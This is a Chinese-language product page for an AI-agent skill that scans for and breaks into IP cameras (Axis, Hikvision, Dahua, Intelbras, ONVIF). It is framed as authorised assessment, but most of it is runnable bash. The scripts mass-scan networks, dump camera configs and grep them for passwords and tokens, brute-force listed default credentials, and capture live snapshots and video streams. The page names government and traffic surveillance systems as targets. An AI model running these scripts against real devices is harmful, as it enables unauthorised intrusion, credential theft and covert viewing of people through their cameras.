关于 iot-camera-recon
面向授权安全评估的 IoT 摄像头侦察技能,涵盖 RTSP、厂商配置接口、ONVIF、认证和固件识别。提供按品牌查找端点及分阶段检查流程。
主要功能
- 01摄像头与端口发现
- 02ONVIF 服务枚举
- 03厂商配置接口检查
- 04默认凭据验证
- 05RTSP 视频流检查
- 06固件信息识别
适用场景
- 01检查授权范围内的摄像头暴露面
- 02验证摄像头配置与认证控制
- 03识别固件版本并记录资产
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill iot-camera-recon安装后在 Claude Code 中输入/iot-camera-recon确认已加载。
详细介绍
IoT 摄像头侦察技能
针对 IP 摄像头的评估,涵盖 RTSP 暴露情况、厂商配置端点、 ONVIF 服务枚举、身份验证控制和固件识别。
使用时机
port-mass-scan发现 RTSP(554)或摄像头 HTTP 端口(80、8010、8011)。- 目标属于物理安防公司、交通管理机构或政府监控部门。
- Shodan 搜索在目标的 IP 范围内发现摄像头设备。
port-service-discovery发现 Axis/Hikvision/Dahua ONVIF 服务后。
前置条件
terminal,并已安装 curl、python3。- 批量扫描:masscan 或 RustScan(参见
port-mass-scan)。 - VLC 或 ffmpeg,用于验证视频流(可选)。
运行方法
# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50
# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json
快速参考
| 摄像头品牌 | 默认 HTTP 端口 | 快照 URL | 配置 URL | 默认凭据 |
|---|---|---|---|---|
| Axis | 80、8010 | /axis-cgi/jpg/image.cgi | /axis-cgi/admin/param.cgi?action=list | root:pass、root:admin |
| Hikvision | 80、554 | /ISAPI/Streaming/channels/101/picture | /System/configurationFile?auth=... | admin:12345、admin:admin |
| Dahua | 80、554 | /cgi-bin/snapshot.cgi | /cgi-bin/configManager.cgi?action=getConfig | admin:admin、admin:password |
| Intelbras | 80 | /cgi-bin/snapshot.cgi | /web/cgi-bin/hi3510/param.cgi | admin:admin、admin:123456 |
| ONVIF | 80、8899 | 不适用(SOAP) | /onvif/device_service | admin:admin |
流程
阶段 1 — 批量发现摄像头
RANGE="$1" # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"
echo "[*] Camera hunt on $RANGE"
# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"
# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
ips = set()
for line in f:
try:
data = json.loads(line.strip()) if line.strip() else {}
ips.add(data.get('ip', ''))
except: pass
for ip in sorted(ips):
print(ip)
" 2>/dev/null)
echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"
# Probe each with curl
echo "$HITS" | while read ip; do
echo "--- $ip ---"
# Axis snapshot
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
[[ "$code" == "200" ]] && echo " [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"
# Axis config dump
config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
echo " [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
echo "$config" | wc -l | xargs echo " Parameters:"
fi
# Generic RTSP
for port in 554 8554; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
[[ "$code" != "000" ]] && echo " [RTSP] Port $port responds (HTTP $code)"
done
# ONVIF discovery (port 8899 or 80)
for port in 8899 80; do
resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
-H "Content-Type: application/soap+xml" \
-d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
echo " [ONVIF] Device info available on port $port"
fi
done
done
阶段 2 — 完全利用 Axis 摄像头
IP="$1"
echo "[*] Axis camera exploitation on $IP"
# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"
# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"
# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20
# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"
# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
[[ "$code" != "404" && "$code" != "000" ]] && echo " Service: /axis-cgi/$svc/ (HTTP $code)"
done
阶段 3 — 测试默认凭据
IP="$1"
BRAND="${2:-axis}" # axis, hikvision, dahua, intelbras
echo "[*] Default credential test on $IP ($BRAND)"
# Brand-specific default credentials
case "$BRAND" in
axis)
CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
;;
hikvision)
CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
;;
dahua)
CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
intelbras)
CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
*)
CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
AUTH_URL="http://$IP/"
;;
esac
for cred in "${CREDS[@]}"; do
USER="${cred%%:*}"
PASS="${cred##*:}"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
-u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)
if [[ "$code" == "200" ]]; then
echo " [CRITICAL] DEFAULT CREDENTIALS: $cred"
elif [[ "$code" == "401" ]]; then
echo " [-] $cred (auth failed)"
else
echo " [$code] $cred"
fi
done
阶段 4 — 访问 RTSP 视频流
IP="$1"
PORT="${2:-554}"
echo "[*] RTSP stream access on $IP:$PORT"
# Common RTSP paths
STREAMS=(
"/live" "/stream" "/cam/realmonitor"
"/h264" "/h264/ch1/main/av_stream"
"/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
"/axis-media/media.amp" "/onvif1" "/onvif2"
)
for stream in "${STREAMS[@]}"; do
RTSP_URL="rtsp://$IP:$PORT$stream"
echo -n " $stream: "
# Test with ffmpeg (2 second probe)
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
if [[ $? -eq 0 ]]; then
echo "LIVE STREAM"
else
echo "no response"
fi
done
# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
[[ $? -eq 0 ]] && echo " [CRITICAL] RTSP stream accessible with $cred"
done
注意事项
- CGNAT 会阻止直接访问摄像头。 许多摄像头位于运营商级 NAT 之后,无法从互联网访问。
- RTSP over UDP 不可靠。 使用
-rtsp_transport tcp可靠地测试视频流。 - 配置转储可能非常大。 Axis 配置文件为 50-200KB。使用
--max-time,避免在连接缓慢时一直等待。 - 视频流占用大量带宽。 先测试快照,再进行短时间的视频流探测。
- 摄像头固件很少更新。 在 2026 年扫描时遇到 2020 年的固件很常见——不要假定已安装补丁。
验证
- 快照 URL 必须返回有效的 JPEG 图像(使用
file命令检查)。 - 配置转储必须包含摄像头专属参数(品牌、型号、序列号、固件版本)。
- RTSP 视频流必须生成视频帧(使用 ffprobe 或 VLC 验证)。
- 默认凭据必须能够访问受保护的端点(使用凭据时 HTTP 200,不使用时 HTTP 401)。
- 必须记录所有暴露的参数:品牌、型号、序列号、固件版本、网络配置和发现的凭据。
评论
支持 Markdown